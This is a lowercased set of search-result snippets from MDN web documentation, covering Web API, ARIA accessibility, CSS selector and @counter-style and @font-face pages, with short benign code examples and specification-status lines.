WebAPIWindowscreenTop
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screentop' in that specification.
... working draft initial definition.
Window.screenX - Web APIs
WebAPIWindowscreenX
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenx' in that specification.
... working draft initial definition.
Window.screenY - Web APIs
WebAPIWindowscreenY
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screeny' in that specification.
... working draft initial definition.
Window.top - Web APIs
WebAPIWindowtop
specifications specification status comment html living standardthe definition of 'window.top' in that specification.
... living standard html5the definition of 'window.top' in that specification.
... recommendation initial definition ...
WindowEventHandlers.onbeforeunload - Web APIs
specification status comment html living standardthe definition of 'onbeforeunload' in that specification.
... living standard html 5.1the definition of 'globaleventhandlers' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
WindowEventHandlers.onhashchange - Web APIs
.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that specification.
... living standard html 5.1the definition of 'globaleventhandlers' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
WindowEventHandlers.onunload - Web APIs
specifications specification status comment html living standardthe definition of 'onunload' in that specification.
... living standard html 5.1the definition of 'globaleventhandlers' in that specification.
... recommendation html5the definition of 'globaleventhandlers' in that specification.
WindowEventHandlers - Web APIs
specifications specification status comment html living standardthe definition of 'windoweventhandlers' in that specification.
... html 5.1the definition of 'windoweventhandlers' in that specification.
... html5the definition of 'windoweventhandlers' in that specification.
WindowOrWorkerGlobalScope.atob() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.atob()' in that specification.
... html 5.1the definition of 'windowbase64.atob()' in that specification.
... html5the definition of 'windowbase64.atob()' in that specification.
WindowOrWorkerGlobalScope.btoa() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification.
... html 5.1the definition of 'windowbase64.btoa()' in that specification.
... html5the definition of 'windowbase64.btoa()' in that specification.
WindowOrWorkerGlobalScope.indexedDB - Web APIs
a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status comment indexed database api draftthe definition of 'indexeddb' in that specification.
... indexed database api 2.0the definition of 'indexeddb' in that specification.
... recommendation initial definition.
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.settimeout()' in that specification.
... html living standardthe definition of 'windowtimers.settimeout()' in that specification.
... living standard initial definition (dom level 0) ...
WorkerLocation - Web APIs
such an object is initialized for each worker and is available via the workerglobalscope.location property obtained by calling self.location.
... urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url of the script executed in the worker.
... specifications specification status comment html living standardthe definition of 'workerlocation' in that specification.
WorkerNavigator.connection - Web APIs
this could be used to select high definition content or low definition content based on the user's connection.
... syntax connectioninfo = self.navigator.connection specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
... draft initial specification ...
WritableStreamDefaultWriter.write() - Web APIs
return value a promise, which fulfills with the undefined upon a successful write, or rejects if the write fails or stream becomes errored before the writing process is initiated.
... specifications specification status comment streamsthe definition of 'write()' in that specification.
... living standard initial definition.
XMLDocument - Web APIs
specifications specification status comment domthe definition of 'xmldocument' in that specification.
... dom4the definition of 'xmldocument' in that specification.
... obsolete initial definition.
XPathEvaluator.createNSResolver() - Web APIs
return value an xpathnsresolver object which resolves namespaces with respect to the definitions in scope for a specified node.
... specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.creatensresolver()' in that specification.
... recommendation initial definition ...
XRBoundedReferenceSpace.boundsGeometry - Web APIs
that said, the bounds extend upward indefinitely, since the bounds are defined in only two dimensions.
... specifications specification status comment webxr device apithe definition of 'boundsgeometry' in that specification.
... working draft initial definition.
XRInputSourceEvent - Web APIs
constructor xrinputsourceevent() creates and returns a new xrinputsourceevent object whose properties match those provided in the eventinitdict dictionary provided.
... xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
... working draft initial definition.
XRInputSourcesChangeEvent - Web APIs
constructor xrinputsourceschangeevent() creates and returns a new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object.
...t) { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { loadcontrollermesh(input); } } } you can also add a handler for inputsourceschange events by setting the oninputsourceschange event handler: xrsession.oninputsourceschange = oninputsourceschange; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent' in that specification.
... working draft initial definition.
XRPermissionDescriptor - Web APIs
the available features are the same as those used by xrsessioninit; see default features in xrsessioninit for further information.
...ondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise */ break; } .catch(err) { console.log(err); } } else { setupxr(); } specifications specification status comment webxr device apithe definition of 'xrpermissiondescriptor' in that specification.
... working draft initial definition.
XRReferenceSpaceEvent - Web APIs
constructor xrreferencespaceevent() returns a new xrreferencespaceevent with the specified type and configured using the values in the given xrreferencespaceeventinit dictionary.
... specifications specification status comment webxr device apithe definition of 'xrreferencespaceevent' in that specification.
... working draft initial definition.
XRSession.updateRenderState() - Web APIs
syntax xrsession.updaterenderstate(newstate) parameters newstate an object conforming to the xrrenderstateinit dictionary specifying the properties of the session's renderstate to update before rendering the next frame.
... function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status comment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification.
... working draft initial definition.
XRSessionEvent - Web APIs
constructor xrsessionevent() creates and returns a new xrsessionevent object configured using the specified xrsessioneventinit object's values as available.
... xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent' in that specification.
... working draft initial definition.
XRSessionMode - Web APIs
specifications specification status comment webxr device apithe definition of 'xrsessionmode' in that specification.
... working draft initial definition.
... webxr augmented reality modulethe definition of 'xrsessionmode: immersive-ar' in that specification.
XRViewport - Web APIs
after initial setup, it iterates over each of the views within the viewer's pose, configuring the viewport as dictated by the xrwebgllayer.
...uffer(xrwebgllayer.framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport matching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
... working draft initial definition.
XRWebGLLayer.antialias - Web APIs
usage notes since this is a read-only property, you can set the antialiasing mode only when initially creating the xrwebgllayer, by specifying the antialias object in the xrwebgllayer() constructor's layerinit parameter.
...*/ if (!gllayer.antialias) { /* compensate for lack of antialiasing */ } specifications specification status comment webxr device apithe definition of 'xrwebgllayer.antialias' in that specification.
... working draft initial definition.
XRWebGLLayer.ignoreDepthValues - Web APIs
the value of ignoredepthvalues can only be set when the xrwebgllayer is instantiated, by setting the corresponding value in the xrwebgllayerinit object specified as the constructor's layerinit parameter.
...this is demonstrated in the snippet of code below: const gllayeroptions = { ignoredepthvalues: true }; let gllayer = new xrwebgllayer(xrsession, gl, gllayeroptions); specifications specification status comment webxr device apithe definition of 'xrwebgllayer.ignoredepthvalues' in that specification.
... working draft initial definition.
Using the aria-labelledby attribute - Accessibility
in addition to form elements, you can use the aria-labelledby attribute to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and other types of objects.
...dialog contents </div> example 5: inline definition in the example below, the definition of a term that is described in the natural flow of the narrative is associated with the term itself using the aria-labelledby attribute: <p>the doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo"> an inert preparation prescribed more for the mental relief of the patient than for its actual e...
...ffect on a disorder.</span> </p> example 6: definition lists in the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority and accompanied by excommunication</dd> <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd> <dt id="homily">homily</dt> <dd role="definition" aria-labelledby="homily">a usually short sermon</dd> <dd role="definition" aria-labelledby="homily">a lecture or discourse on or of a moral theme</dd> </dl> example 7: menus in the exampl...
ARIA: alert role - Accessibility
alerts, by definition, are disruptive.
... specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'alert' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'alert' in that specification.
Web applications and ARIA FAQ - Accessibility
wai-aria is the accessible rich internet applications specification from the web accessibility initiative at the w3c.
... progressbar.setattribute("value", percentcomplete); } progressbar.textcontent = percentcomplete + "% complete"; } function initdemo() { setupprogress(); // setup the progress bar.
... document.getelementbyid("update-button").addeventlistener("click", function (e) { updateprogress(75); e.preventdefault(); }, false); } initdemo(); how do assistive technologies work?
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
WebCSS--*
initial valuesee proseapplies toall elementsinheritedyescomputed valueas specified with variables substitutedanimation typediscrete syntax --somekeyword: left; --somecolor: #0000ff; --somecomplexvalue: 3px 6px rgb(20, 32, 54); <declaration-value> this value matches any sequence of one or more tokens, so long as the sequence does not contain an unallowed token.
...ar(--second-color); } #secondparagraph { background-color: var(--second-color); color: var(--first-color); } #container { --first-color: #48ff32; } #thirdparagraph { background-color: var(--first-color); color: var(--second-color); } result specifications specification status comment css custom properties for cascading variables module level 1the definition of '--*' in that specification.
... candidate recommendation initial definition.
-moz-user-focus - CSS: Cascading Style Sheets
/* keyword values */ -moz-user-focus: normal; -moz-user-focus: ignore; /* global values */ -moz-user-focus: inherit; -moz-user-focus: initial; -moz-user-focus: unset; by setting its value to ignore, you can disable focusing the element, which means that the user will not be able to activate the element.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete note: this property doesn't work for xul <xul:textbox> elements, because the textbox itself never takes focus.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax ignore | normal | select-after | select-before | select-menu | select-same | select-all | none examples html <input class="ignored" value="the user cannot focus on this element."> css .ignored { -moz-user-focus: ignore; } specifications not part of any standard.
-webkit-mask-position-x - CSS: Cascading Style Sheets
the -webkit-mask-position-x css property sets the initial horizontal position of a mask image.
...x: left; -webkit-mask-position-x: center; -webkit-mask-position-x: right; /* <percentage> values */ -webkit-mask-position-x: 100%; -webkit-mask-position-x: -50%; /* <length> values */ -webkit-mask-position-x: 50px; -webkit-mask-position-x: -1cm; /* multiple values values */ -webkit-mask-position-x: 50px, 25%, -3em; /* global values */ -webkit-mask-position-x: inherit; -webkit-mask-position-x: initial; -webkit-mask-position-x: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the left edge of the image relative to the box's left padding edge.
... formal definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | left | center | right ]#where <length-percentage> = <length> | <percentage> examples horizontally positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-...
-webkit-mask-position-y - CSS: Cascading Style Sheets
the -webkit-mask-position-y css property sets the initial vertical position of a mask image.
...y: top; -webkit-mask-position-y: center; -webkit-mask-position-y: bottom; /* <percentage> values */ -webkit-mask-position-y: 100%; -webkit-mask-position-y: -50%; /* <length> values */ -webkit-mask-position-y: 50px; -webkit-mask-position-y: -1cm; /* multiple values values */ -webkit-mask-position-y: 50px, 25%, -3em; /* global values */ -webkit-mask-position-y: inherit; -webkit-mask-position-y: initial; -webkit-mask-position-y: unset; initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete syntax values <length-percentage> a length indicating the position of the top side of the image relative to the box's top padding edge.
... formal definition initial value0%applies toall elementsinheritednopercentagesrefer to the size of the box itselfcomputed valuefor <length> the absolute value, otherwise a percentageanimation typediscrete formal syntax [ <length-percentage> | top | center | bottom ]#where <length-percentage> = <length> | <percentage> examples vertically positioning a mask image .exampleone { -webkit-mask-image: url(mask.png); -webkit-mask-position-y:...
::marker - CSS: Cascading Style Sheets
WebCSS::marker
syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
... css lists module level 3the definition of '::marker' in that specification.
... working draft initial definition.
:default - CSS: Cascading Style Sheets
WebCSS:default
label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="season" id="winter"> <label for="winter">winter</label> </fieldset> css input:default { box-shadow: 0 0 2px 1px coral; } input:default + label { color: coral; } result specifications specification status comment html living standardthe definition of ':default' in that specification.
... html5the definition of ':default' in that specification.
... selectors level 4the definition of ':default' in that specification.
:dir() - CSS: Cascading Style Sheets
WebCSS:dir
formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { background-color: yellow; } :dir(rtl) { background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
... selectors level 4the definition of ':dir()' in that specification.
... working draft initial definition.
:empty - CSS: Cascading Style Sheets
WebCSS:empty
| the paciello group hidden content for better a11y | go make things mdn understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.4 | w3c understanding wcag 2.0 specifications specification status comment selectors level 4the definition of 'the :empty pseudo-class' in that specification.
... selectors level 3the definition of 'the :empty pseudo-class' in that specification.
... recommendation initial definition ...
:first-of-type - CSS: Cascading Style Sheets
!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
... selectors level 3the definition of ':first-of-type' in that specification.
... recommendation initial definition.
:first - CSS: Cascading Style Sheets
WebCSS:first
specifications specification status comment css paged media module level 3the definition of ':first' in that specification.
... css level 2 (revision 1)the definition of ':first' in that specification.
... recommendation initial definition.
:in-range - CSS: Cascading Style Sheets
WebCSS:in-range
d black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specification.
... selectors level 4the definition of ':in-range' in that specification.
... working draft initial specification.
:indeterminate - CSS: Cascading Style Sheets
t.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
... html5the definition of ':indeterminate' in that specification.
... selectors level 4the definition of ':indeterminate' in that specification.
:last-child - CSS: Cascading Style Sheets
5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment selectors level 4the definition of ':last-child' in that specification.
... selectors level 3the definition of ':last-child' in that specification.
... recommendation initial definition.
:last-of-type - CSS: Cascading Style Sheets
first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
... selectors level 3the definition of ':last-of-type' in that specification.
... recommendation initial definition.
:left - CSS: Cascading Style Sheets
WebCSS:left
syntax :left examples setting a margin for left-hand pages @page :left { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':left' in that specification.
... css level 2 (revision 1)the definition of ':left' in that specification.
... recommendation initial definition.
:not() - CSS: Cascading Style Sheets
WebCSS:not
*/ body :not(.crazy, .fancy) { font-family: sans-serif; } result specifications specification status comment selectors level 4the definition of ':not()' in that specification.
... selectors level 3the definition of ':not()' in that specification.
... recommendation initial definition.
:nth-child() - CSS: Cascading Style Sheets
>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
... selectors level 3the definition of ':nth-child' in that specification.
... recommendation initial definition.
:nth-last-child() - CSS: Cascading Style Sheets
<li>one</li> <li>two</li> <li>three</li> <li>four</li> </ol> <h4>a list of two items (unstyled):</h4> <ol> <li>one</li> <li>two</li> </ol> css /* if there are at least three list items, style them all */ li:nth-last-child(n+3), li:nth-last-child(n+3) ~ li { color: red; } result specifications specification status comment selectors level 4the definition of ':nth-last-child' in that specification.
... selectors level 3the definition of ':nth-last-child' in that specification.
... recommendation initial definition.
:nth-last-of-type() - CSS: Cascading Style Sheets
<span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
... selectors level 3the definition of ':nth-last-of-type' in that specification.
... recommendation initial definition.
:nth-of-type() - CSS: Cascading Style Sheets
) { color: red; } /* even paragraphs */ p:nth-of-type(2n) { color: blue; } /* first paragraph */ p:nth-of-type(1) { font-weight: bold; } /* this has no effect, as the .fancy class is only on the 4th p element, not the 1st */ p.fancy:nth-of-type(1) { text-decoration: underline; } result specifications specification status comment selectors level 4the definition of ':nth-of-type' in that specification.
... selectors level 3the definition of ':nth-of-type' in that specification.
... recommendation initial definition.
:only-child - CSS: Cascading Style Sheets
</li> <li>second <ul> <li>this list has three elements.</li> <li>this list has three elements.</li> <li>this list has three elements.</li> </ul> </li> </ol> css li li { list-style-type: disc; } li:only-child { color: red; list-style-type: square; } result specifications specification status comment selectors level 4the definition of ':only-child' in that specification.
... selectors level 3the definition of ':only-child' in that specification.
... recommendation initial definition.
:only-of-type - CSS: Cascading Style Sheets
<i>i am the only `i` child.</i> <em>i am `em` #1.</em> <em>i am `em` #2.</em> </div> </main> css main :only-of-type { color: red; } result specifications specification status comment selectors level 4the definition of ':only-of-type' in that specification.
... selectors level 3the definition of ':only-of-type' in that specification.
... recommendation initial definition.
:optional - CSS: Cascading Style Sheets
WebCSS:optional
mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':optional' in that specification.
... html5the definition of ':optional' in that specification.
... selectors level 4the definition of ':optional' in that specification.
:out-of-range - CSS: Cascading Style Sheets
d black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that specification.
... selectors level 4the definition of ':out-of-range' in that specification.
... working draft initial definition.
:read-only - CSS: Cascading Style Sheets
<p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
... html5the definition of ':read-only' in that specification.
... selectors level 4the definition of ':read-only' in that specification.
:read-write - CSS: Cascading Style Sheets
<p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
... html5the definition of ':read-write' in that specification.
... selectors level 4the definition of ':read-write' in that specification.
:required - CSS: Cascading Style Sheets
WebCSS:required
mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html living standardthe definition of ':required' in that specification.
... html5the definition of ':required' in that specification.
... selectors level 4the definition of ':required' in that specification.
:right - CSS: Cascading Style Sheets
WebCSS:right
syntax :right examples setting margins for right-hand pages @page :right { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':right' in that specification.
... css level 2 (revision 1)the definition of ':right' in that specification.
... recommendation initial definition.
:root - CSS: Cascading Style Sheets
WebCSS:root
/* selects the root element of the document: <html> in the case of html */ :root { background: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
... selectors level 3the definition of ':root' in that specification.
... recommendation initial definition.
additive-symbols - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax [ <integer> && <symbol> ]#where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...additive symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style additive-symbols-example { system: additive; additive-symbols: v 5, iv 4, i 1; } .list { list-style: additive-symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'additive-symbols' in that specification.
... candidate recommendation initial definition.
fallback - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valuedecimalcomputed valueas specified formal syntax <counter-style-name>where <counter-style-name> = <custom-ident> examples specifying a fallback counter style html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style fallback-example { system: fixed; symbols: "\24b6" "\24b7...
..." "\24b8"; fallback: upper-alpha; } .list { list-style: fallback-example; } result specifications specification status comment css counter styles level 3the definition of 'fallback' in that specification.
... candidate recommendation initial definition ...
negative - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... counters html <ul class="list" start="-3"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style neg { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; negative: "(-" ")"; } .list { list-style: neg; } result specifications specification status comment css counter styles level 3the definition of 'system' in that specification.
... candidate recommendation initial definition.
prefix - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value"" (the empty string)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... <li>the letters from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specification status comment css counter styles level 3the definition of 'prefix' in that specification.
... candidate recommendation initial definition.
speak-as - CSS: Cascading Style Sheets
let's talk about speech css | css tricks formal definition related at-rule@counter-styleinitial valueautocomputed valueas specified formal syntax auto | bullets | numbers | words | spell-out | <counter-style-name>where <counter-style-name> = <custom-ident> examples setting the spoken form for a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style speak-as-examp...
...le { system: fixed; symbols:     ; suffix: " "; speak-as: numbers; } .list { list-style: speak-as-example; } result specifications specification status comment css counter styles level 3the definition of 'speak-as' in that specification.
... candidate recommendation initial definition.
suffix - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value".
...entage> examples setting a suffix for a counter html <ul class="choices"> <li>one</li> <li>two</li> <li>three</li> <li>none of the above</li> </ul> css @counter-style options { system: fixed; symbols: a b c d; suffix: ") "; } .choices { list-style: options; } result specifications specification status comment css counter styles level 3the definition of 'suffix' in that specification.
... candidate recommendation initial definition.
symbols - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax <symbol>+where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...entage> examples setting counter symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style symbols-example { system: fixed; symbols: a "1" "\24b7" d e; } .list { list-style: symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'symbols' in that specification.
... candidate recommendation initial definition.
@counter-style - CSS: Cascading Style Sheets
@counter-style thumbs { system: cyclic; symbols: "\1f44d"; suffix: " "; } ul { list-style: thumbs; } the initial version of css defined a set of useful counter styles.
... specifications specification status comment css counter styles level 3the definition of 'counter-style' in that specification.
... candidate recommendation initial definition.
font-stretch - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax <font-stretch-absolute>{1,2}where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> examples setting a percentage range for font-stretch the following find a local open sans font or...
... @font-face { font-family: "open sans"; src: local("open sans") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
... working draft css fonts module level 3the definition of 'font-stretch' in that specification.
font-variation-settings - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src: url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications ...
... specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
... working draft initial definition ...
font-weight - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax <font-weight-absolute>{1,2}where <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting normal font weight in a @font-f...
... @font-face { font-family: "open sans"; src: local("open sans") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); font-weight: 400; } specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
... working draft css fonts module level 3the definition of 'font-weight' in that specification.
unicode-range - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valueu+0-10ffffcomputed valueas specified formal syntax <unicode-range># examples using a different font for a single character in this example we create a simple html containing a single <div> element, including an ampersand, that we want to style with a different font.
... html <div>me & you = us</div> css @font-face { font-family: 'ampersand'; src: local('times new roman'); unicode-range: u+26; } div { font-size: 4em; font-family: ampersand, helvetica, sans-serif; } result specifications specification status comment css fonts module level 3the definition of 'unicode-range' in that specification.
... candidate recommendation initial definition ...
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
